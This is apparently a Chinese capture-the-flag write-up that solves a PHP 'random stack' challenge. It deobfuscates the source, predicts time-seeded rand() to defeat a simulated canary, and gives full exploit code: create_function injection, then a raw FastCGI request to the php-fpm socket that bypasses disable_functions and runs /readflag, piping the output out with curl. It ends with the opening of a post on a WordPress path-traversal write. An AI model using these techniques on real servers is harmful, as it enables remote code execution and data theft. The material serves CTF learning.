19 => 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789',
20 => 'handle_data',
21 => 'gen_canary',
22 => 'emmmmmm...Don\'t attack me!',
23 => 'dechex',
24 => 'pushdata',
25 => 'count',
26 => 'check_canary',
27 => 'hex2bin',
28 => 'root says: ',
29 => 'pop',
30 => 'eax',
31 => 'recover_data',
32 => 'explode',
33 => 'eip',
34 => 'call',
35 => 'hexdec',
36 => 'get_data_from_reg',
37 => 'array_push',
38 => 'call_user_func_array',
39 => 'call_user_func',
40 => 'data error',
41 => 'O0OO0',
42 => 'stack',
43 => 'class_alias',
44 => 'data',
45 => 'array_search',
46 => 'phpinfo',
47 => '--------------------output---------------------</br></br>',
48 => 'outputdata',
49 => '</br></br>------------------phpinfo()------------------</br>',
50 => 'ret',
)

我用的是var_export('$GLOBALS{O0}',true);,导成变量后面会用来。接下来就是变量名的替换。写了个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
$a = file_get_contents('encode.php');
//var_dump($array_1);
function decode_se($matches){
$array_1 = array (
0 => 'sandbox.php',
1 => 'time',
2 => 'srand',
3 => 'define',
4 => 'INS_OFFSET',
5 => 'rand',
6 => 'eax',
7 => 'ebp',
8 => 'esp',
9 => 'eip',
10 => 'array_flip',
11 => 'array_walk',
12 => 'aslr',
13 => 'strlen',
14 => 'str_split',
15 => 'str_pad',
16 => '' . "\0" . '',
17 => 'strrev',
18 => 'bin2hex',
19 => 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789',
20 => 'handle_data',
21 => 'gen_canary',
22 => 'emmmmmm...Don\'t attack me!',
23 => 'dechex',
24 => 'pushdata',
25 => 'count',
26 => 'check_canary',
27 => 'hex2bin',
28 => 'root says: ',
29 => 'pop',
30 => 'eax',
31 => 'recover_data',
32 => 'explode',
33 => 'eip',
34 => 'call',
35 => 'hexdec',
36 => 'get_data_from_reg',
37 => 'array_push',
38 => 'call_user_func_array',
39 => 'call_user_func',
40 => 'data error',
41 => 'O0OO0',
42 => 'stack',
43 => 'class_alias',
44 => 'data',
45 => 'array_search',
46 => 'phpinfo',
47 => '--------------------output---------------------</br></br>',
48 => 'outputdata',
49 => '</br></br>------------------phpinfo()------------------</br>',
50 => 'ret',
);
/*var_dump($matches[1]);
var_dump(hexdec($matches[1]));*/
//var_dump($matches[0]);
$aaa = ((int)hexdec($matches[1]));
if($aaa<0 || $aaa>50){
return $matches[0];
}
//var_dump($ma)
var_dump($array_1[(int)hexdec($matches[1])]);
return $array_1[(int)hexdec($matches[1])];
}

$decode_1 = preg_replace_callback(
'|\$GLOBALS\{O0\}[\{\[]0x(\w*)[\}\]]|',
"decode_se",
$a);

$decode_2 = preg_replace_callback(
'|\$\w*?[\{\[]0x(\w*)[\}\]]|',
"decode_se",
$decode_1);
file_put_contents("decode_file.php",$decode_2);
接着手动去掉一些乱码字符,把$GLOBALS{O0}过程也去掉。接着需要将,在页面显示的一部分source code 同样的添加到这部分解码代码之前。最后的结果如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
<?php /* orz
-- enphp : https://git.oschina.net/mz/mzphp2
*/
<?php /* orz
-- enphp : https://git.oschina.net/mz/mzphp2
*/
error_reporting(E_ALL^E_NOTICE);
define('O0', 'O');

$banner = <<<EOF
<!--/?source=1-->
<pre>
.----------------. .----------------. .----------------. .----------------. .----------------. .----------------. .----------------.
| .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. |
| | _________ | || | ______ | || | ____ ____ | || | ____ | || | ____ ____ | || | _____ _____ | || | ______ | |
| | |_ ___ | | || | .' ___ | | || | |_ || _| | || | .' `. | || | |_ || _| | || ||_ _||_ _|| || | |_ _ \ | |
| | | |_ \_| | || | / .' \_| | || | | |__| | | || | / .--. \ | || | | |__| | | || | | | | | | || | | |_) | | |
| | | _| _ | || | | | | || | | __ | | || | | | | | | || | | __ | | || | | ' ' | | || | | __'. | |
| | _| |___/ | | || | \ `.___.'\ | || | _| | | |_ | || | \ `--' / | || | _| | | |_ | || | \ `--' / | || | _| |__) | | |
| | |_________| | || | `._____.' | || | |____||____| | || | `.____.' | || | |____||____| | || | `.__.' | || | |_______/ | |
| | | || | | || | | || | | || | | || | | || | | |
| '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' |
'----------------' '----------------' '----------------' '----------------' '----------------' '----------------' '----------------'

Welcome to random stack ! Try to execute `/readflag` :P

</pre>

<form action="/decode_file.php" method="post">root > <input name="data" placeholder="input some data"></form>
EOF;
echo $banner;
if(isset($_GET['source'])){
$file = fopen("index.php","r");
$contents = fread($file,filesize("index.php"));
echo "---------------sourcecode---------------";
echo base64_encode($contents);
echo "----------------------------------------";
fclose($file);
//Dockerfile here
echo "RlJPTSB1YnVudHU6MTguMDQKClJVTiBzZWQgLWkgInMvaHR0cDpcL1wvYXJjaGl2ZS51YnVudHUuY29tL2h0dHA6XC9cL21pcnJvcnMudXN0Yy5lZHUuY24vZyIgL2V0Yy9hcHQvc291cmNlcy5saXN0ClJVTiBhcHQtZ2V0IHVwZGF0ZQpSVU4gYXB0LWdldCAteSBpbnN0YWxsIHNvZnR3YXJlLXByb3BlcnRpZXMtY29tbW9uClJVTiBhZGQtYXB0LXJlcG9zaXRvcnkgLXkgcHBhOm9uZHJlai9waHAKUlVOIGFwdC1nZXQgdXBkYXRlClJVTiBhcHQtZ2V0IC15IHVwZ3JhZGUKUlVOIGFwdC1nZXQgLXkgaW5zdGFsbCB0emRhdGEKUlVOIGFwdC1nZXQgLXkgaW5zdGFsbCB2aW0KUlVOIGFwdC1nZXQgLXkgaW5zdGFsbCBhcGFjaGUyClJVTiBhcHQtY2FjaGUgc2VhcmNoICJwaHAiIHwgZ3JlcCAicGhwNy4zInwgYXdrICd7cHJpbnQgJDF9J3wgeGFyZ3MgYXB0LWdldCAteSBpbnN0YWxsClJVTiBzZXJ2aWNlIC0tc3RhdHVzLWFsbCB8IGF3ayAne3ByaW50ICQ0fSd8IHhhcmdzIC1pIHNlcnZpY2Uge30gc3RvcAoKUlVOIHJtIC92YXIvd3d3L2h0bWwvaW5kZXguaHRtbApDT1BZIHJhbmRvbXN0YWNrLnBocCAvdmFyL3d3dy9odG1sL2luZGV4LnBocApDT1BZIHNhbmRib3gucGhwIC92YXIvd3d3L2h0bWwvc2FuZGJveC5waHAKUlVOIGNobW9kIDc1NSAtUiAvdmFyL3d3dy9odG1sLwpDT1BZIGZsYWcgL2ZsYWcKQ09QWSByZWFkZmxhZyAvcmVhZGZsYWcKUlVOIGNobW9kIDU1NSAvcmVhZGZsYWcKUlVOIGNobW9kIHUrcyAvcmVhZGZsYWcKUlVOIGNobW9kIDUwMCAvZmxhZwpDT1BZIC4vcnVuLnNoIC9ydW4uc2gKQ09QWSAuL3BocC5pbmkgL2V0Yy9waHAvNy4zL2FwYWNoZTIvcGhwLmluaQpSVU4gY2htb2QgNzAwIC9ydW4uc2gKCkNNRCBbIi9ydW4uc2giXQ==";
highlight_file(__FILE__);

}
$disable_functions = ini_get("disable_functions");
$loadext = get_loaded_extensions();
foreach ($loadext as $ext) {
if(in_array($ext,array("Core","date","libxml","pcre","zlib","filter","hash","sqlite3","zip"))) continue;
else {
if(count(get_extension_funcs($ext)?get_extension_funcs($ext):array()) >= 1)
$dfunc = join(',',get_extension_funcs($ext));
else
continue;
$disable_functions = $disable_functions.$dfunc.",";

}
}
$func = get_defined_functions()["internal"];
foreach ($func as $f){
if(stripos($f,"file") !== false || stripos($f,"open") !== false || stripos($f,"read") !== false || stripos($f,"write") !== false){
$disable_functions = $disable_functions.$f.",";
}
}

ini_set("disable_functions", $disable_functions);
ini_set("open_basedir","/var/www/html/:/tmp/".md5($_SERVER['REMOTE_ADDR'])."/");


$GLOBALS[O0] = array (
0 => 'sandbox.php',
1 => 'time',
2 => 'srand',
3 => 'define',
4 => 'INS_OFFSET',
5 => 'rand',
6 => 'eax',
7 => 'ebp',
8 => 'esp',
9 => 'eip',
10 => 'array_flip',
11 => 'array_walk',
12 => 'aslr',
13 => 'strlen',
14 => 'str_split',
15 => 'str_pad',
16 => '' . "\0" . '',
17 => 'strrev',
18 => 'bin2hex',
19 => 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789',
20 => 'handle_data',
21 => 'gen_canary',
22 => 'emmmmmm...Don\'t attack me!',
23 => 'dechex',
24 => 'pushdata',
25 => 'count',
26 => 'check_canary',
27 => 'hex2bin',
28 => 'root says: ',
29 => 'pop',
30 => 'eax',
31 => 'recover_data',
32 => 'explode',
33 => 'eip',
34 => 'call',
35 => 'hexdec',
36 => 'get_data_from_reg',
37 => 'array_push',
38 => 'call_user_func_array',
39 => 'call_user_func',
40 => 'data error',
41 => 'O0OO0',
42 => 'stack',
43 => 'class_alias',
44 => 'data',
45 => 'array_search',
46 => 'phpinfo',
47 => '--------------------output---------------------</br></br>',
48 => 'outputdata',
49 => '</br></br>------------------phpinfo()------------------</br>',
50 => 'ret',
);

//file_put_contents('array.php',var_export($GLOBALS[O0],true));
//require_once $GLOBALS{O0}[0];


$seed = time();
echo "time=".$seed;
srand($seed);
define(INS_OFFSET,rand(0x0000,0xffff));

echo "INS_OFFSET=".INS_OFFSET."#";


$regs = array(
eax=>0x0,
ebp=>0x0,
esp=>0x0,
eip=>0x0,
);


function aslr(&$O00,$O0O)
{
$O00 = $O00 + 0x60000000 + INS_OFFSET + 0x001 ;

}
$func_ = array_flip($func);
array_walk($func_,aslr);
$plt = array_flip($func_);

echo "id=".array_search("var_dump", $plt)."\n";

function handle_data($OOO){$OO0O=&$GLOBALS{O0};
$O000 = strlen($OOO);

$O00O = $O000/0x000004+(0x001*($O000%0x000004));


$O0O0 = str_split($OOO,0x000004);

$O0O0[$O00O-0x001] = str_pad($O0O0[$O00O-0x001],0x000004,"\0");

foreach ($O0O0 as $O0OO=>&$OO00){
$OO00 = strrev(bin2hex($OO00));

}
return $O0O0;

}

function gen_canary(){$O0O00=&$GLOBALS{O0};
$OOOO = "abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789";

$O0000 = $OOOO[rand(0,strlen($OOOO)-0x001)];

$O000O = $OOOO[rand(0,strlen($OOOO)-0x001)];

$O00O0 = $OOOO[rand(0,strlen($OOOO)-0x001)];

$O00OO = "\0";

return handle_data($O0000.$O000O.$O00O0.$O00OO)[0];

}
$canary = gen_canary();
$canarycheck = $canary;

function check_canary(){
global $canary;

global $canarycheck;

if($canary != $canarycheck){
die("emmmmmm...Don't attack me!");
}

}

Class O0OO0{

private $ebp,$stack,$esp;

public function __construct($O0OOO,$OO000) {$OO00O=&$GLOBALS{O0};
$this->stack = array();

global $regs;

$this->ebp = &$regs[ebp];

$this->esp = &$regs[esp];

$this->ebp = 0xfffe0000 + rand(0x0000,0xffff);

global $canary;

$this->stack[$this->ebp - 0x4] = &$canary;

$this->stack[$this->ebp] = $this->ebp + rand(0x0000,0xffff);

$this->esp = $this->ebp - (rand(0x20,0x60)*0x000004);

echo "esp=".$this->esp;

$this->stack[$this->ebp + 0x4] = dechex($O0OOO);

echo "ilikeit=".dechex($O0OOO),"&";

if($OO000 != NULL)
$this->{pushdata}($OO000);
}

public function pushdata($OO0O0){$OOO00=&$GLOBALS{O0};
$OO0O0 = handle_data($OO0O0);

for($OO0OO=0;$OO0OO<count($OO0O0);$OO0OO++){
$this->stack[$this->esp+($OO0OO*0x000004)] = $OO0O0[$OO0OO];
//no args in my stack haha
check_canary();

}
}

public function recover_data($OOO0O){$OOOO0=&$GLOBALS{O0};

return hex2bin(strrev($OOO0O));


}


public function outputdata(){$O0000O=&$GLOBALS{O0};
global $regs;

echo "root says:" ;

while(0x001){
if($this->esp == $this->ebp-0x4)
break;
$this->{pop}(eax);

$OOOOO = $this->{recover_data}($regs[eax]);

$O00000 = explode("\0",$OOOOO);

echo $O00000[0];

if(count($O00000)>0x001){
break;
}
}

}
public function ret(){$O000O0=&$GLOBALS{O0};

$this->esp = $this->ebp;

$this->{pop}(ebp);

$this->{pop}(eip);

$this->{call}();

}

public function get_data_from_reg($O000OO){$O00OO0=&$GLOBALS{O0};
global $regs;

$O00O00 = $this->{recover_data}($regs[$O000OO]);

$O00O0O = explode("\0",$O00O00);

return $O00O0O[0];

}

public function call()
{$O0OO00=&$GLOBALS{O0};
global $regs;

global $plt;

$O00OOO = hexdec($regs[eip]);

echo $plt[$O00OOO];

if(isset($_REQUEST[$O00OOO])) {
echo "yes";
$this->{pop}(eax);
$O0O000 = (int)$this->{get_data_from_reg}(eax);
$O0O00O = array();
for($O0O0O0=0;$O0O0O0<$O0O000;$O0O0O0++){
$this->{pop}(eax);
$O0O0OO = $this->{get_data_from_reg}(eax);
array_push($O0O00O,$_REQUEST[$O0O0OO]);
}
call_user_func_array($plt[$O00OOO],$O0O00O);
}
else {
call_user_func($plt[$O00OOO]);
}

}

public function push($O0OO0O){$O0OOOO=&$GLOBALS{O0};
global $regs;

$O0OOO0 = $regs[$O0OO0O];

if( hex2bin(strrev($O0OOO0)) == NULL ) die("data error");
$this->stack[$this->esp] = $O0OOO0;

$this->esp -= 0x000004;

}

public function pop($OO0000){
global $regs;

$regs[$OO0000] = $this->stack[$this->esp];

$this->esp += 0x000004;


}

public function __call($OO000O,$OO00O0)
{
check_canary();

}

}
$GLOBALS{O0}{43}(O0OO0,'stack',0);print_R(O0OO0);print_R(stack);

if(isset($_POST["data"])) {
$phpinfo_addr = array_search("phpinfo", $plt);
$gets = $_POST["data"];
$main_stack = new stack($phpinfo_addr, $gets);
echo "--------------------output---------------------</br></br>";
$main_stack->{"outputdata"}();
echo "</br></br>------------------phpinfo()------------------</br>";
$main_stack->{"ret"}();
}
优化后的其中一些 echo 和 var_dump()是测试数据用的,并不是原source code 里面的东西。接着看data数据到底进入哪里了,视角直接转到最后。用传进来的data,实例化了一个新的stack。

stack 是上面这个类的别名,直接看构造函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public  function __construct($O0OOO,$OO000) {$OO00O=&$GLOBALS{O0};
$this->stack = array();

global $regs;

$this->ebp = &$regs[ebp];

$this->esp = &$regs[esp];

$this->ebp = 0xfffe0000 + rand(0x0000,0xffff);

global $canary;

$this->stack[$this->ebp - 0x4] = &$canary;

$this->stack[$this->ebp] = $this->ebp + rand(0x0000,0xffff);

$this->esp = $this->ebp - (rand(0x20,0x60)*0x000004);

echo "esp=".$this->esp;

$this->stack[$this->ebp + 0x4] = dechex($O0OOO);

echo "ilikeit=".dechex($O0OOO),"&";

if($OO000 != NULL)
$this->{pushdata}($OO000);
}

esp,ebp,eip,eax。 熟悉栈调用的同学肯定不会陌生,esp栈顶,ebp栈底,eip指向执行的位置,eax 是返回值。

可以很清晰的看出,stack的构造函数定义了一个函数调用时栈分配情况。还有canady的保护,栈顶也是随机分配的,即这个调用栈的大小是随机的。

前面也有aslr的保护,函数地址随机化。既然是栈的结构,那么可以看看,我们数据是怎么入栈。接着跟着 \(this->{pushdata}(\)OO000);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function handle_data($OOO){$OO0O=&$GLOBALS{O0};
$O000 = strlen($OOO);

$O00O = $O000/0x000004+(0x001*($O000%0x000004));


$O0O0 = str_split($OOO,0x000004);

$O0O0[$O00O-0x001] = str_pad($O0O0[$O00O-0x001],0x000004,"\0");

foreach ($O0O0 as $O0OO=>&$OO00){
$OO00 = strrev(bin2hex($OO00));

}
return $O0O0;

}

public function pushdata($OO0O0){$OOO00=&$GLOBALS{O0};
$OO0O0 = handle_data($OO0O0);

for($OO0OO=0;$OO0OO<count($OO0O0);$OO0OO++){
$this->stack[$this->esp+($OO0OO*0x000004)] = $OO0O0[$OO0OO];
//no args in my stack haha
check_canary();

}
}

传入的数据会经过handle_data 进行分割。字符每4位为一个存储单元。不足4位拿\0填充,但是这个分配过程没看懂,会根据除4余数的大小不一样分配多一个单元,列如7位字符应该只需2个存储单元,但是它分配了3个。没看懂这个分配过程,简单除4向上取整不就行了吗?但是不影响后面的过程,可能这也是一种混淆吧:)

再看pushdata,拿到经过分割的数据,放进栈里,分配多少就存多少,过程中存在canary的检查。这很明显是一个栈溢出嘛,但是怎么绕过canary的检查呢?

仔细看一下canary的生成过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function gen_canary(){
$OOOO = "abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789";

$O0000 = $OOOO[rand(0,strlen($OOOO)-0x001)];

$O000O = $OOOO[rand(0,strlen($OOOO)-0x001)];

$O00O0 = $OOOO[rand(0,strlen($OOOO)-0x001)];

$O00OO = "\0";

return handle_data($O0000.$O000O.$O00O0.$O00OO)[0];

}

也是随机生成4位的字符,但是别忘了rand不是一个真正的随机函数。

1
2
3
$seed = time();
echo "time=".$seed;
srand($seed);
只要时间种子一样,通过rand()结果都是一样的。是的我们可以自己计算出远程服务器上的rand()结果。这样canary也可以拿到,同样经过随机化的函数地址,同样可以拿到。

我们需要覆盖多大的地址,同样esp也是edp-rand()*4得到的,我们可以知道栈的大小。

下面看一下$main_stack->{"outputdata"}(); 函数调用的过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public  function ret(){$O000O0=&$GLOBALS{O0};

$this->esp = $this->ebp;

$this->{pop}(ebp);

$this->{pop}(eip);

$this->{call}();

}

public function call()
{
global $regs;

global $plt;

$O00OOO = hexdec($regs[eip]);

echo $plt[$O00OOO];

if(isset($_REQUEST[$O00OOO])) {
echo "yes";
$this->{pop}(eax);
$O0O000 = (int)$this->{get_data_from_reg}(eax);
$O0O00O = array();
for($O0O0O0=0;$O0O0O0<$O0O000;$O0O0O0++){
$this->{pop}(eax);
$O0O0OO = $this->{get_data_from_reg}(eax);
array_push($O0O00O,$_REQUEST[$O0O0OO]);
}
call_user_func_array($plt[$O00OOO],$O0O00O);
}
else {
call_user_func($plt[$O00OOO]);
}

}

正常的函数返回过程,但是函数执行的需要的参数并不在栈里面,正如前面那行注释说的//no args in my stack haha。 lol

接着看函数调用的过程,函数的地址在eip里面,是前面储存phpinfo的地址。可以看到它是有带参数执行函数的流程的,首先我们要进入这个if, $O00OOO 是模拟函数表里面phpinfo的地址,这个值我们可以在本地计算,在post里面指定一下就行。接着往下走,又从栈里取了一行数据,用在下面for语句判断条件里面,可以想到应该是参数的个数,接着进入for循坏里面,同样是接着从栈里拿数据,当做key值从REQUEST 取值,存到参数数组里面。

看到这里,你可以明了我们可以执行任意函数。分析一下整个过程,我们需要根据栈的大小覆盖调用函数的地址,控制传参。前面说到栈的大小也是ebp-rand()*4 动态分配的,但是整个过程我们是可以在本地计算的。同样我们想要调用的函数地址,也是可以计算拿到的。

接下就是执行/readflag,但是你可能有点绝望,是我绝望了,看一看disable_function禁了哪些函数

1
file_get_contents,file_put_contents,fwrite,file,chmod,chown,copy,link,fflush,mkdir,popen,rename,touch,unlink,pcntl_alarm,move_upload_file,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,fsockopen,pfsockopen,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,curl_init,curl_exec,curl_multi_init,curl_multi_exec,dba_open,dba_popen,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,dl,putenv

基本全禁,我都寻思这时不要弄0day上了,这前面的过程我拿到题目是从Team里面的小伙伴手里,我没有去官方上看,而后我去了比赛的官网,看见了官方给的hint

1
run.sh =>#!/bin/sh service --status-all | awk '{print $4}'| xargs -i service {} start sleep infinity;

这是什么意思呢?开了所有的服务,服务和bypass disable_function有什么联系呢,我开了docker了。一个可以利用的不是本地服务的php-fpm映入我的眼帘,php-fpm服务? 我突然意识到,我知道了,SSRF~

题目中的php 是apache2下的mod_php,php.in仅影响的是 /php7.3/apache2/

fpm是一个新的sapi,熟悉php内核的朋友不会陌生sapi是php的最外层接口。fpm是一个新的接口,有自己的php.ini。不会受apache2下的影响。现在要做的就是SSRF访问fpm的接口。默认的fpm接口是unix 套接字监听。 在docker 下netstat -an 你可以看见fpm的监听状态

1
/run/php/php7.3-fpm.sock

so, 接下来就是建立和fpm的套接字并发送我们执行/readflag的playload

你能找到一个建立连接并发送Post的函数,没有! 所以是多行语句执行,你能getshell吗? 不能,file_put_contents已经被禁用了。这时候别忘了还有inject create_function,我们是可以执行多行语句的,用于ssrf的函数禁了大半,但是仔细检查文件操作类函数,其实还有 stream_socket_client stream_socket_sendto 然后发送一个完整的fastcgi请求:),同时fastcgi 有一个auto_prepend_file字段是可以预加载php文件的。

下面是我完整的exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
<?php
/**
* Created by PhpStorm.
* User: maple
* Date: 2019/4/29
* Time: 15:29
*/

$seed = time();
srand($seed);
echo "time=".$seed."\n";

define("INS_OFFSET",rand(0x0000,0xffff));

echo "INS_OFFSET=".INS_OFFSET;

function aslr(&$O00,$O0O)
{
$O00 = $O00 + 0x60000000 + INS_OFFSET + 0x001 ;

}

$func = get_defined_functions()["internal"];

$func_ = array_flip($func);
array_walk($func_,"aslr");
$plt = array_flip($func_);


function handle_data($OOO){
$O000 = strlen($OOO);

$O00O = $O000/0x000004+(0x001*($O000%0x000004));

$O0O0 = str_split($OOO,0x000004);//拆分为4字节

$O0O0[$O00O-0x001] = str_pad($O0O0[$O00O-0x001],0x000004,"\0");

foreach ($O0O0 as $O0OO=>&$OO00){
$OO00 = strrev(bin2hex($OO00));

}
return $O0O0;

}

function gen_canary(){
$OOOO = "abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789";

$O0000 = $OOOO[rand(0,strlen($OOOO)-0x001)]; //rand2

$O000O = $OOOO[rand(0,strlen($OOOO)-0x001)];//rand3

$O00O0 = $OOOO[rand(0,strlen($OOOO)-0x001)];//rand4

$O00OO = "\0";

return handle_data($O0000.$O000O.$O00O0.$O00OO)[0];

}

$canary = gen_canary();

$ebp = 0xfffe0000 + rand(0x0000,0xffff);

rand(0,1);

$esp = $ebp - (rand(0x20,0x60)*0x000004);

$func_base = dechex($phpinfo_addr = array_search("var_dump", $plt));//get_defined_vars()

echo "id=".array_search("create_function", $plt)."\n";
echo "func=".$plt[hexdec($func_base)];
//1610653932

//1610653908
$data = "/readflag";

$data=$data.str_repeat("A",$ebp-$esp-strlen($data)-4);

//echo "canary=".$canary."\n";

$data = $data.hex2bin(strrev($canary)); //fill canary

//echo "canary=".strrev(bin2hex(hex2bin(strrev($canary))));


$data = $data."AAAA";
//$data = $data."BBBB";

$data = $data.hex2bin(strrev($func_base)); // fill func_base

//echo "*******".strrev(bin2hex(hex2bin(strrev($func_base))));
$data = $data."0001"."cccc"."dddd";
$body = "data=".urlencode($data);
$data = $data."0002"."cccc"."qqqq";

$body = "data=".urlencode($data);
$body = $body."&".hexdec($func_base)."=1"."&cccc=".urlencode('$a')."&qqqq=".urlencode('}stream_socket_client("unix:///run/php/php7.3-fpm.sock", $errno, $errstr,30);$out = base64_decode("AQEAAQAIAAAAAQAAAAAAAA==AQQAAQAuAAAPHVNDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvZGVjb2RlX2ZpbGUucGhwAQQAAQAUAAAOBFJFUVVFU1RfTUVUSE9EUE9TVL==AQQAAQASAAAOAkNPTlRFTlRfTEVOR1RINzF=AQQAAQAvAAAMIUNPTlRFTlRfVFlQRWFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZA==AQQAAQBBAAAJNlBIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlID0gT24KYXV0b19wcmVwZW5kX2ZpbGUgPSBwaHA6Ly9pbnB1dD==AQQAAQAQAAANAURPQ1VNRU5UX1JPT1QvAQQAAQAAAAA=");stream_socket_sendto($fp,$out);fclose($fp);');

$opts = array(

'http' =>array(
'method'=>"POST",
'header' =>"Content-Type: application/x-www-form-urlencoded\r\n", //Cookie: XDEBUG_SESSION=PHPSTORM\r\n
'content' => $body
)

);
$context = stream_context_create($opts);
$res = file_get_contents('http://127.0.0.1:80/decode_file.php',false, $context);
print_r($res);

对于fastcgi请求的构造,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <stdio.h>
#include <stdlib.h>
#include "fcgi.h"
#include <sys/types.h>
#include <sys/socket.h>

int main()
{
FastCgi_t *c;
c = (FastCgi_t *)malloc(sizeof(FastCgi_t));
char res[99999];
FastCgi_init(c);
setRequestId(c, 1);
startConnect(c);
sendStartRequestRecord(c);

sendParams(c, "SCRIPT_FILENAME", "/var/www/html/decode_file.php");
sendParams(c, "REQUEST_METHOD", "POST");
sendParams(c, "CONTENT_LENGTH", "71"); // 71 为body的长度 !!!!
sendParams(c, "CONTENT_TYPE", "application/x-www-form-urlencoded");
sendParams(c, "PHP_VALUE","allow_url_include = On\nauto_prepend_file = php://input");
sendParams(c, "DOCUMENT_ROOT","/");
sendEndRequestRecord(c);

/*FCGI_Header makeHeader(int type, int requestId,
int contentLength, int paddingLength)*/

FCGI_Header t = makeHeader(FCGI_STDIN, c->requestId_, 71, 0); // 71 为body的长度 !!!!
send(c->sockfd_, &t, sizeof(t), 0);


send(c->sockfd_, "<?php system('/readflag | xargs -i curl 127.0.0.1:9999 -d {}');die();?>", 71, 0); // 71 为body的长度 !!!!


FCGI_Header endHeader;
endHeader = makeHeader(FCGI_STDIN, c->requestId_, 0, 0);
send(c->sockfd_, &endHeader, sizeof(endHeader), 0);

printf("end-----\n");

readFromPhp(c,res);

printf("%s\n",res);

FastCgi_finit(c);
return 0;
}

当然你想怎样构造随你意:) ,上面的fastcgi库在我的github上,连接如下 https://github.com/m4p1e/fastcgi

第一次遇见这样的web题,是我转PWN一个好的过度!

我的Team “漆吴”,名字取自山海经,漆吴山传说是太阳歇息的地方,这个Team 只关于纯粹的热爱,探索,就像古老的山海经的世界一样,神秘,绚丽多彩。欢迎一群志同道合的朋友加入,有兴趣朋友请赶快联系我! maple_#outlook

探究Mkdir() in PHP

0X01 起因

在复现分析Wordpress-5.0.0 RCE 的时候,因为在写图片的过程中,根据图片的dirname创建目录,而后根据basename写入图片。在目录创建成功的前提下,应该是可以写入文件的。但是情况却不是如此,过程中我要在写目标图片前,必须还要再写一个辅助图片。其实这个辅助图片不是很重要,而重要的是这个辅助图片的目录创建。

过程中列如需要写入目标文件为

1
/var/www/html/wordpress/wp-content/uploads/2019/03/1.jpg?/../../../../themes/twentynineteen/1.jpg
需要先写一张
1
/var/www/html/wordpress/wp-content/uploads/2019/03/1.jpg?/1.jpg
为什么会这样的,假设直接写目标文件,过程中会首先创建目录:
1
@mkdir('/var/www/html/wordpress/wp-content/uploads/2019/03/1.jpg?/../../../../themes/twentynineteen',777,true);
其实这个过程是没有创建任何目录的,因为判断是directory already ,到下一步写入图片这里是Imagick::writeImage。这里就会出问题,invaild file path.报错。因为这里不存在 /var/www/html/wordpress/wp-content/uploads/2019/03/1.jpg?这个目录,这涉及到系统调用,因系统的不同相对于的系统处理函数处理的方式也不同。

